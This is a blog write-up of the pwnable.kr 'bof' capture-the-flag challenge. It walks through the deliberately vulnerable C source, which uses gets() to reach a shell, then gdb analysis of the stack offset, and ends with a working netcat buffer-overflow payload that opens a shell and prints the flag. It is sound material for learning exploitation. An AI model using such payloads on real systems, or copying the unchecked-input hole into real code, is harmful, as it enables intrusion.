Home | Projects | Articles | Apophthegm | About |
Toddler’s Bottle - bof
Toddler’s Bottle is one of the CTF games at pwnable.kr website. I am going to do the game is namely bof. There are already many writeups in the internet. However, I am going to explain what I learnt from this game.
Website (Select bof)
Source Code
Binary
The source code of the bof binary is provided. I examine the source code and found out that we are going to replace the key from 0xdeadbeef
to 0xcafebabe
. The overflowme
variable is 32 characters long. No matter what you entered in the overflowme
variable, the key is not changed as it is hard coded. It is a buffer overflow challenge. However, we are not going to take control of the return address this time.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
Load the gdb with PEDA and check with checksec
. It is confirmed that the NX is enabled with another restrictions.
gdb -q ./bof
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
Run disass main
to disassemble the main
function.
disass main
gdb-peda$ disass main
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
gdb-peda$
Run disass func
to disassembe the func
function.
disass func
gdb-peda$ disass func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
gdb-peda$
In the func
function, the following codes that I am interested in.
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
The eax,[ebp-0x2c]
, ebp-0x2c
may be contained the value of overflowme
variable and saved in eax register.
The DWORD PTR [ebp+0x8],0xcafebabe
, ebp+0x8
may be contained the value of key, that is 0xdeadbeef
.
I am going to set a breakpoint at 0x0000065b <+47>
.
b *func+47
gdb-peda$ b *func+47
Breakpoint 1 at 0x65b
gdb-peda$ r
Starting program: /root/20181212/bof
overflow me :
helloworld
Then r
run the program and is prompted for entering helloworld
as the overflowme
.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff30c ("helloworld")
EBX: 0x0
ECX: 0xb7fab5c0 --> 0xfbad2288
EDX: 0xb7fac89c --> 0x0
ESI: 0xb7fab000 --> 0x1d5d8c
EDI: 0x0
EBP: 0xbffff338 --> 0xbffff358 --> 0x0
ESP: 0xbffff2f0 --> 0xbffff30c ("helloworld")
EIP: 0x40065b (<func+47>: jne 0x40066b <func+63>)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40064c <func+32>: mov DWORD PTR [esp],eax
0x40064f <func+35>: call 0xb7e3c5c0 <_IO_gets>
0x400654 <func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
=> 0x40065b <func+47>: jne 0x40066b <func+63>
| 0x40065d <func+49>: mov DWORD PTR [esp],0x40079b
| 0x400664 <func+56>: call 0xb7e12870 <__libc_system>
| 0x400669 <func+61>: jmp 0x400677 <func+75>
| 0x40066b <func+63>: mov DWORD PTR [esp],0x4007a3
|-> 0x40066b <func+63>: mov DWORD PTR [esp],0x4007a3
0x400672 <func+70>: call 0xb7e3ce40 <_IO_puts>
0x400677 <func+75>: mov eax,DWORD PTR [ebp-0xc]
0x40067a <func+78>: xor eax,DWORD PTR gs:0x14
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbffff2f0 --> 0xbffff30c ("helloworld")
0004| 0xbffff2f4 --> 0x0
0008| 0xbffff2f8 --> 0x0
0012| 0xbffff2fc --> 0xb7dd1b00
0016| 0xbffff300 --> 0x9 ('\t')
0020| 0xbffff304 --> 0xbffff578 ("/root/20181212/bof")
0024| 0xbffff308 --> 0xb7e05d09 (<__new_exitfn+9>: add ebx,0x1a52f7)
0028| 0xbffff30c ("helloworld")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0040065b in func ()
After entering the helloworld
, I am going to examine the eax
and ebp+0x8
.
x/x $ebp+0x8
x/s $eax
gdb-peda$ x/x $ebp+0x8
0xbffff340: 0xdeadbeef
gdb-peda$ x/s $eax
0xbffff30c: "helloworld"
gdb-peda$
The result confirmed what I suspected. I am going to check the offset the two addresses with Python. The offset is 52
.
root@kali:~# python
Python 2.7.15+ (default, Nov 28 2018, 16:27:22)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xbffff340 - 0xbffff30c
52L
>>>
Once get the offset, I am going to overwrite the 0xdeadbeef
with 0xcafebabe
with the exploit code. The cat
command is for the interactive with the shell.
(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"'; cat -) | nc pwnable.kr 9000
root@kali:~/20181212# (python -c 'print "A"*52 + "\xbe\xba\xfe\xca"'; cat -) | nc pwnable.kr 9000
id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
The flag is :
daddy, I just pwned a buFFer :)
Home | Projects | Articles | Apophthegm | About |